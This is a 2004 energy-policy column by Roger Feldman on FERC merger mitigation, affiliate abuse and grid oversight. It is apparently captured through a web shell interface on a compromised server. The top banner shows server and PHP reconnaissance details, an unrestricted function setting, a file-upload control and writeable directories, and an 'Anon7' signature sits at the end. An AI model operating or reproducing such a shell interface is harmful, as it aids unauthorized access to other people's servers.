KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.4.62
System : FreeBSD fbsdweb2.web.rcn.net 14.1-RELEASE FreeBSD 14.1-RELEASE releng/14.1-n267679-10e31f0946d8 GENERIC amd64
User : www ( 80)
PHP Version : 8.3.8
Disable Function : NONE
Directory :  /domains/enrgy/feldman/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /domains/enrgy/feldman/0408flmn.htm
<html>

<head>
<title>August 2004: Code Orange for Power Competition</title>
</head>

<body style="font-family: Arial" vlink="#808080">
<div align="center"><center>

<table border="0" cellpadding="8" cellspacing="0" width="98%" bgcolor="#000000">
  <tr>
    <td width="100%" valign="middle"><a name="top"></a>
    <img src="../images/pmamagsm.gif" alt="PMA Online Magazine" border="0" align="right" width="229" height="100"></td>
  </tr>
</table>
</center></div><center>

<table border="0" cellpadding="8" width="98%">
  <tr>
    <td width="25%" valign="top" align="center">
	<!--webbot bot="Include" U-Include="wv_sidebar.htm" TAG="BODY" startspan -->

<table border="0" cellpadding="8" width="98%" id="table1">
  <tr>
    <td width="25%" valign="top" align="center"><map name="FPMap0_I1">
      <area href="http://www.powermarketers.com/adrates.html" shape="rect" coords="14, 297, 97, 322">
      <area href="http://www.powermarketers.com/pmajobs.htm" shape="rect" coords="11, 230, 95, 257">
      <area href="http://www.powermarketers.com/main.htm" target="_parent" shape="rect" coords="12, 163, 96, 189">
      <area href="http://www.powermarketers.com/power2.htm" target="_blank" shape="rect" coords="12, 95, 96, 121">
      <area href="../pmamag.htm" shape="rect" coords="11, 29, 96, 54"></map>
	<img rectangle="(12,163) (96,189) http://www.powermarketers.com/main.htm##_parent" rectangle="(12,95) (96,121) http://www.powermarketers.com/power2.htm##_blank" rectangle="(11,29) (96,54) ../pmamag.htm" src="../images/magmenu.gif" alt="PMA OnLine Magazine Menu" border="0" align="center" usemap="#FPMap0_I1" width="110" height="350"><p>
	<a href="../searchpma.htm">
	<img src="../images/archives.gif" alt="Archives Search" border="0" align="center" WIDTH="70" HEIGHT="40"></a></p>
    <p align="left"><font face="Arial"><strong><small>About The Author:<br>
	<br>
	</small></strong><span lang="X-NONE" style="color: black"><font size="2">
	ROGER FELDMAN, Co-Chair of Andrews Kurth LLP Climate Change and Carbon 
	Markets Group has practiced law related to the finance of environmental and 
	energy projects and companies for 40 years.&nbsp; In particular, he has analyzed 
	and executed a wide variety and substantial value of project financings.&nbsp; He 
	chairs the American Bar Association&#8217;s Committee on Carbon Trading and 
	Finance, serves on the Board of the American Council for Renewable Energy, 
	and has been a senior official in the Federal Energy Administration.&nbsp; He is 
	a graduate of Brown University, Yale Law School and Harvard Business School.</font></span></font></p>
	<p class="BodyText05DS" align="left" style="text-align:left">&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p><a href="#top">
	<img src="../images/b-t-top.gif" alt="Back To Top" border="0" WIDTH="71" HEIGHT="35"></a></td>
  </tr>
</table>

<!--webbot bot="Include" i-checksum="19883" endspan --></td>
    <td width="75%" valign="top">
    <img src="../images/feldman.gif" alt="Washington Viewpoint by Roger Feldman" border="0" width="375" height="75"><p><b><u><br>
      </u></b><u><b>August 2004</b></u></p>
    <p align="center"><font size="6"><b>Code Orange For Power Competition</b></font></p>
    <p><strong>by Roger Feldman&nbsp; -- &nbsp; Bingham, Dana L.L.P.<br>
    </strong><font face="Arial" size="2">(<em>originally published by PMA OnLine 
    Magazine: 2</em>005/01/08)<br>
    </font><span style="font-size: 10.0pt; font-family: Palatino; color: black">
    &nbsp;</span></p>
    <font FACE="Times New Roman" SIZE="1"><i></i></font>
    <font SIZE="3">
    </font>
    <i></i>
    <p>The signal from Washington is that at home and around the world the 
    highwater mark for deregulation and competition has passed, and the question 
    is how to fine-tune the role of the traditional regulated power companies 
    and their relationship with &#8220;unregulated&#8221; affiliate cousins. Or is it?<br>
    <br>
    Domestically, FERC conditionally approved the acquisition by Oklahoma Gas 
    and Electric of a majority interest in a powerplant in its service territory 
    previously owned by a bankrupt NRG affiliate, NRG McClain. Its earlier 
    intransigence in doing so had been seen as an indication of its desire to 
    prevent reabsorption of IPPs into the regulated utility ambit. The new 
    verdict, permitting the acquisition based on the presence of &#8220;sufficient 
    mitigation measures,&#8221; seems likely to a harbinger of change. The mitigation 
    measures consist, as Chairman Wood emphasized, in reliance on the frequent 
    advice of anti-trust agencies to rely on structural, rather than behavioral 
    remedies to mitigate market power. He placed little weight on the potential 
    for simply monitoring market power, although a beefed-up market monitor was 
    one requirement of the ruling. By &#8220;structural,&#8221; though he seems to have 
    meant infrastructure, not ownership patterns. This all might sound like good 
    cracker barrel wisdom, until it is learned that the plaintiff, Intergen, was 
    arguing that the &#8220;structural&#8221; remedy - a permanent transmission bridge 
    between OG&amp;E&#8217;s control area and Intergen&#8217;s generation facility - was not 
    nearly enough to reverse larger market power concerns, because it served 
    only to replace generation eliminated from the market - not to restore OG&amp;E&#8217;s 
    market concentration to pre-acquisition levels. Therefore, Intergen argued, 
    the mitigation measures would effectively block their ability to be 
    competitive, while enhancing regional utility market power.<br>
    <br>
    Ironically, at about the time of the decision, one of the now more heeded 
    antitrust agencies, the Federal Trade Commission, was weighing in with a 
    dissonant view on a related issue; discrimination by utilities in favor of 
    their own affiliates in competitive solicitations (a situation whose 
    jurisdictional assumption by FERC Chairman Wood termed &#8220;awkward&#8221;.) 
    Remarkably, the FTC perceived a very real possibility of affiliate abuse. It 
    urged the FERC to return to its Order No. 2000 deregulation roots, by 
    supporting independent evaluation of possible abuses by third parties. This 
    approach, it suggested would make the review process more objective and 
    &#8220;reduce&#8221; the risk of evasion of economically appropriate rate regulation 
    through discrimination in purchases from affiliates or in cross-subsidizing 
    of affiliates&#8217; costs.<br>
    <br>
    Probably, however, a whistle in the wind. As a practical matter, as FERC 
    continues to levitate among potential screens for market-based rates; seek 
    compromises on the application of its merger standards; and equivocate on 
    issues of affiliate purchases from parents (all core facets of its overall 
    deregulation scheme), there exists a real possibility that over time, market 
    power control standards will be vitiated, the stated goal of competition 
    will disappear like a Cheshire cat; the domestic profile of deregulation 
    will continue to diminish as consolidation quickens.<br>
    <br>
    As American faith in its deregulation/privatization wisdom seems to wane, so 
    too does the vigor with which it is trumpeted as a panacea by the 
    international financial institutions, which once exported it so vigorously. 
    Such diminution in its former true belief is OK, indicated the World Bank&#8217;s 
    recent research report , &quot;Reforming Infrastructuring Regulation and 
    Competition&quot; in which Paul Jaskow and Michael Klein participated. &#8220;As with 
    all economic elixirs, privatization [of critical infrastructure] has been 
    oversimplified, oversold and ultimately disappointing. The Report, not 
    surprisingly, highlighted the California experience: market liberalization 
    under conditions of tight demand can lead to serious problems; unacceptable 
    market clearing prices; and derailment of radical liberalization attempts. 
    Interestingly, however, the World Bank report did note, as a key to 
    effective deregulation, that making economic structural approaches - such as 
    the degree of vertical and horizontal integration, and the clarification of 
    market rules - most notably providing essential safeguards against market 
    power - were essential first steps to a successful deregulation program. It 
    suggested that &#8220;uncoordinated and&nbsp; injudicious regulatory interventions 
    in [a decentralized market] and an interconnected system can have perverse 
    effects on interregional electricity trade.&#8221; It said nothing about 
    regulatory ad hoc support for &#8220;mitigating&#8221; transmission bridges.<br>
    <br>
    So what is Washington telling us? What is the future for the structure of 
    the electric power industry structure, in this new age after the fall of the 
    great liberalization of the grid? Perhaps an unsuspected answer comes from 
    an unbidden Washington quarter, reflective of our times. The Department of 
    Homeland Security has announced the proposed development of a National 
    Electric Grid Monitoring System. &#8220;The purpose of &#8216;NEGMS&#8217; is to aid the 
    situational awareness of the state of the nation&#8217;s electrical grid and to 
    share this information with the electricity sector.&#8221; A first tentative 
    expression of the concern and the belief that in these perilous times power 
    system oversight may ultimately be too sensitive to leave management 
    entirely either in the hands of consolidating private utilities or the 
    unrestricted operation of independent free trading markets. At least a code 
    orange in the ISO control rooms, the world of OG&amp;E bridges and, indeed, the 
    World Banks&#8217; Pacific Vision.</p>
    <!--webbot bot="Include" U-Include="wv_bottom.htm" TAG="BODY" startspan -->

    <hr color="#FFFF00">
    <p class="MsoBodyText" align="left" style="margin-bottom:0in;margin-bottom:.0001pt;
text-align:left"><font face="Arial" size="2">
	<span lang="X-NONE" style="color: black">ROGER FELDMAN, Co-Chair of Andrews 
	Kurth LLP Climate Change and Carbon Markets Group has practiced law related 
	to the finance of environmental and energy projects and companies for 40 
	years.&nbsp; In particular, he has analyzed and executed a wide variety and 
	substantial value of project financings.&nbsp; He chairs the American Bar 
	Association&#8217;s Committee on Carbon Trading and Finance, serves on the Board 
	of the American Council for Renewable Energy, and has been a senior official 
	in the Federal Energy Administration.&nbsp; He is a graduate of Brown University, 
	Yale Law School and Harvard Business School.</span></font></p>

<!--webbot bot="Include" i-checksum="63395" endspan --></td>
  </tr>
</table>
</center>

<p align="center"><a href="#top">
<img src="../images/b-t-top.gif" alt="Back To Top" border="0" width="71" height="35"></a></p>
</body>
</html>

Anon7 - 2021